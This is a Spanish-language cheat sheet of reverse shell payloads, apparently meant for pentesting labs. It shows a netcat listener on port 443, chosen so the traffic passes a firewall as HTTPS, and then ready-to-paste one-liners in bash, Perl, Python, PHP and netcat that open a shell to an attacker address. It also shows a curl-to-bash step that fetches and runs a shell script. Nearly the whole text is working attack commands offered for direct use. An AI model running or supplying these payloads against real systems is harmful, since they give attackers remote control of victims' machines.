Reverse Shell

Desde nuestra máquina configuramos un listener para recibir la conexión inversa. Usando el comando:

nc -nlvp 443

Abrimos el puerto 443, que se asocia normalmente al tráfico HTTPS. De este modo, el firewall podría interpretar la conexión como una solicitud legítima a una página web, lo que ayuda a disimular la actividad. Cuando la máquina víctima se conecta, obtenemos una shell interactiva para ejecutar comandos remotamente.

---

Bash

/bin/bash -c 'bash -i >& /dev/tcp/10.10.x.x/443 0>&1'

bash -i >& /dev/tcp/10.10.x.x/443 0>&1

---

/bin/bash -c 'bash -i >& /dev/tcp/10.10.x.x/443 0>&1'

bash -i >& /dev/tcp/10.10.x.x/443 0>&1

---

/bin/bash -c '0<&196;exec 196<>/dev/tcp/10.10.x.x/443; sh <&196 >&196 2>&196'

0<&196;exec 196<>/dev/tcp/10.10.x.x/443; sh <&196 >&196 2>&196

---

Curl + Bash

ATTACKER

echo -n '#!/bin/bash \n/bin/bash -c "bash -i >& /dev/tcp/10.10.x.x/443 0>&1"' > shell.sh

python3 -m http.server 80

VICTIM

curl 10.10.x.x/shell.sh|bash

Perl

perl -e 'use Socket;$i="10.10.x.x";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.x.x:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.10.x.x",443);exec("/bin/sh -i <&3 >&3 2>&3");'

Netcat

nc -e /bin/sh 10.10.x.x 443

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.x.x 443 >/tmp/f